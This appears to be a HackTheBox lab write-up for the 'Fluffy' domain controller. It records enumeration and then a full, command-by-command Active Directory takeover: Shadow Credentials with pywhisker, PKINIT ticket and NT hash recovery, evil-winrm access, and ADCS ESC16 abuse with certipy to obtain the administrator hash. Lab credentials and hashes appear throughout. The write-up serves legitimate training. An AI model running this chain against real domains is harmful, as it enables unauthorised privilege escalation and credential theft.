HackTheBox · Lab
Fluffy
NOTES
ENUMERATION
NMAP
```shell
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49681/tcp open unknown
49682/tcp open unknown
49689/tcp open unknown
49694/tcp open unknown
49705/tcp open unknown
49721/tcp open unknown
```
SMB
Guest enum shares success
As `j.fleischman` we have `READ/WRITE` on share `//IT`
We also found interesting files. PDF giving us hints on which CVE’s the server is vulnerable too. After research we found this:
[link_preview]()
After the usage of exploit, we captured an NTLMv2 with responder.
Cracked with hashcat:
- prometheusx-303
ADCS
```shell
❯ nxc ldap $IP -u $USER -p $PASS -M adcs
LDAP 10.10.11.69 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP 10.10.11.69 389 DC01 [+] fluffy.htb\p.agila:prometheusx-303
ADCS 10.10.11.69 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.10.11.69 389 DC01 Found PKI Enrollment Server: DC01.fluffy.htb
ADCS 10.10.11.69 389 DC01 Found CN: fluffy-DC01-CA
```
- fluffy-DC01-CA
BLOODHOUND
Possible path
FOOTHOLD
ATTACK VECTOR USER LEVEL
Since `p.agila` is a member of `SERVICE ACCOUNTS MANAGERS` which has `GenericAll` to the `SERVICE ACCOUNTS` group and the `SERVICE ACCOUNTS` has `GenericWrite` relationship to `ca_svc` , `ldap_svc` & `winrm_svc` we can follow this path.
With the `GenericAll` we can directly modify the group members so we can add `p.agila` to `SERVICE ACCOUNTS` and after that we can do a `Shadow Credential Attack`to any of the previous mentioned accounts.
ADD `p.agila` to `SERVICE ACCOUNTS`
```shell
net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "DC01.FLUFFY.HTB"
```
Then we proceed with `pyshisker`, `gettgtpkinit` & `getnthash` to make certificates, obtain the TGT and the NT hashes. The first account I tried to attack was `winrm_svc` just because it has remote access rights and we can attempt to do `evil-winrm`.
PYWHISKER
```shell
❯ pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: c51277de-6740-f0cf-e65b-2f26a48aac6b
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: yHBfrZXx.pfx
[+] PFX exportiert nach: yHBfrZXx.pfx
[i] Passwort für PFX: hOuFC8p5rGy1HnPsnRvL
[+] Saved PFX (#PKCS12) certificate & key at path: yHBfrZXx.pfx
[*] Must be used with password: hOuFC8p5rGy1HnPsnRvL
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
```
GETTGTPKINIT
```shell
❯ gettgtpkinit.py -cert-pem yHBfrZXx_cert.pem -key-pem yHBfrZXx_priv.pem fluffy.htb/winrm_svc winrm_svc.ccache
2025-08-01 23:49:17,595 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-08-01 23:49:17,603 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-08-01 23:49:18,671 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-08-01 23:49:18,671 minikerberos INFO b218f1a8c6c39d7e2d7cbf28d033f2180bb0bf66ee83b30b1cb4cae9d7063dbe
INFO:minikerberos:b218f1a8c6c39d7e2d7cbf28d033f2180bb0bf66ee83b30b1cb4cae9d7063dbe
2025-08-01 23:49:18,679 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
```
EXPORRT KRB5
```shell
export KRB5CCNAME=winrm_svc.ccache
```
GETNTHASH with generated key
```shell
❯ getnthash.py -key b218f1a8c6c39d7e2d7cbf28d033f2180bb0bf66ee83b30b1cb4cae9d7063dbe fluffy.htb/winrm_svc
Impacket v0.13.0.dev0+20250721.105211.7561038 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
33bd09dcd697600edf6b3a7af4875767
```
EVIL-WINRM as `winrm_svc`
```shell
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
```
PRIVILEGE ESCALATION
PRIVESC TO ADMIN
Same procedure as previous but this time we choose `ca_svc`
PYWHISKER
```shell
❯ pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "ca_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: afe4586a-4bea-9f52-6afa-f1c5c9712284
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: uswoiVwj.pfx
[+] PFX exportiert nach: uswoiVwj.pfx
[i] Passwort für PFX: WxWYLP4GLl9WUElhY8FH
[+] Saved PFX (#PKCS12) certificate & key at path: uswoiVwj.pfx
[*] Must be used with password: WxWYLP4GLl9WUElhY8FH
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
```
GETTGTPKINIT
```shell
❯ gettgtpkinit.py -cert-pem uswoiVwj_cert.pem -key-pem uswoiVwj_priv.pem fluffy.htb/ca_svc ca_svc.ccache
2025-08-01 23:56:42,265 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-08-01 23:56:42,273 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-08-01 23:56:51,724 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-08-01 23:56:51,724 minikerberos INFO f04ebf8a824a166636a1549e6594c6ae258e2800210871816cc79c369259592a
INFO:minikerberos:f04ebf8a824a166636a1549e6594c6ae258e2800210871816cc79c369259592a
2025-08-01 23:56:51,731 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
```
EXPORT KRB5
```shell
export KRB5CCNAME=ca_svc.ccache
```
GETNTHASH
```shell
❯ getnthash.py -key f04ebf8a824a166636a1549e6594c6ae258e2800210871816cc79c369259592a fluffy.htb/ca_svc
Impacket v0.13.0.dev0+20250721.105211.7561038 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
ca0f4f9e9eb8a092addf53bb03fc98c8
```
CERTIPY ENUM/VULN CHECK
```shell
❯ certipy-ad find -vulnerable -u ca_svc@fluffy.htb -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
```
This stands out!
```shell
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
```
Read initial UPN of the victim account
```shell
❯ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : ca_svc@fluffy.htb
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-08-01T21:56:52+00:00
```
Lets Update the victim account´s UPN to the target administrator’s sAMAccountName
```shell
❯ certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes ':33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
```
Request a certificate as the “victim” user from any suitable client authentication template (e.g., “User”) on the ESC16-vulnerable CA
```shell
❯ certipy-ad req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
```
Revert the “victim” account’s UPN
```shell
❯ certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes ':33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
```
Let’s authenticate as `administrator`
```shell
❯ certipy-ad auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
```
SYSTEM OWNAGE
CLEANUP
Nothing to clean
SCOPE
| IP | HOSTNAME | DOMAIN NAME | OS |
|---|---|---|---|
| 10.10.11.69 | DC01 | fluffy.htb | Win10/Srv19 B:17763 x64 |
WEB SERVICE TECHNOLOGY
WEB
No webb
NIKTO
WFUZZ / GOBUSTER
FILES
DIRS
SUBDIRS
VHOSTS
USERS
```shell
Administrator
Guest
krbtgt
ca_svc
ldap_svc
p.agila
winrm_svc
j.coffey
j.fleischman
```
CREDENTIALS
```shell
j.fleischman:J0elTHEM4n1990!
p.agila:prometheusx-303
```
NMAP
```shell
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49681/tcp open unknown
49682/tcp open unknown
49689/tcp open unknown
49694/tcp open unknown
49705/tcp open unknown
49721/tcp open unknown
```
SMB SHARES
```shell
Shares
-----
ADMIN$
C$
IPC$
IT
NETLOGON
SYSVOL
```
OTHER NOTES
```shell
ADCS, Kerberos, Pywhisker, gettgtpkinit
```
LOGS
[file](https://prod-files-secure.s3.us-west-2.amazonaws.com/25f83ed0-ddc8-8143-b578-00031f210370/59a42f10-2f86-4609-b6f4-9839c4ed016d/fluffy.fullnmap?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAZI2LB4664K2ALYRS%2F20260309%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20260309T082850Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEGAaCXVzLXdlc3QtMiJIMEYCIQD8a8jPTAd%2Fww4InhbpPuJOm0tQ3XIRpbB%2Bxu1kcLJKKgIhAInN7YErW0QdAuFXK8KfsEN3BApTJIUvsS9ZZ3UzYVUyKv8DCCkQABoMNjM3NDIzMTgzODA1IgzFl93svfTbu6Nt7WQq3AM5KM%2F%2FLpPDAhR07RmyRTDJt25iqjXi2l2ESRVyddyShNaYqp5x53ldMBO%2BvDuRwzw80hkPwgzQFj8wfbfplyYKwc0KlmjGzaaxP7X%2FDbv0ZBhnJxjxDaDn8sdcTcsgK20JFzPxf154JSvZOuO%2F53A5xWhcvnlXLwM7dB8xXMWM3C7iWEwFB4KBDOTtRqOR7hggMjtZIxcBfcp3zy1shX3PAfubBltBRX0VM8gd5J6Kxt%2FiwC%2FdlpwmRkJUYTiNwNHyVqXilHnF2Dbsllmj3DQMG6pp1xxFneI0zKwyArndAkGaOEaiL7Q%2BYRCU94qcOC3CrtJmU%2B13LpAE9qGCSbCoreC5M%2Bif%2FM6j3EN74X8SNOZkVmLDXTmWe7DlZ4wxVJPd36ZA%2BrhQAK19ZDdCj8KjqwBkGDoWRD2Ckx50lgnJyq%2F8E5tbGWsZt8ka1VgV%2FFFmVk%2BMm3ks%2BVfLUfKm2aAbZvY1BLsgCeSUuA1G9WRF1J2XvP9PXAIAT%2FWJWtfM2eMmuKM1Pl3Ii6FrFcw1W7W74k9SEQpQ1yu5XUu6nwgFDAVMuNzQAVbYUUGDdaM57FxR1FKBPnVNgUTnjNUsl6Rz60uTxZ1pKR%2FM2Flg73RMh5IB1OfKG1snUxZBczDv87nNBjqkAf7FVJaRoLycDMOvgxiBhfrxMlageZLO%2FxERTPxOCJHSwhM8i04sNuUaXWUG1HJQ9lH1YAxb5e%2BpvkoxmBu%2BRvG6wk4wcdsSMNUXoxXp%2BUCDtKnMG1c3iHd6eujY2LhbnEiGsy2uSUgAIunBYODAcnvseAtNW3ZWsZceqxnd3ACd88x8NubkxYctzFbpCvNw3RCsUlzD%2FNkG215%2FioRNtCZwVZcD&X-Amz-Signature=b8b6542c6666d5b12664db816f67a3909780bc6586032be12bfaebe4596f8b23&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject)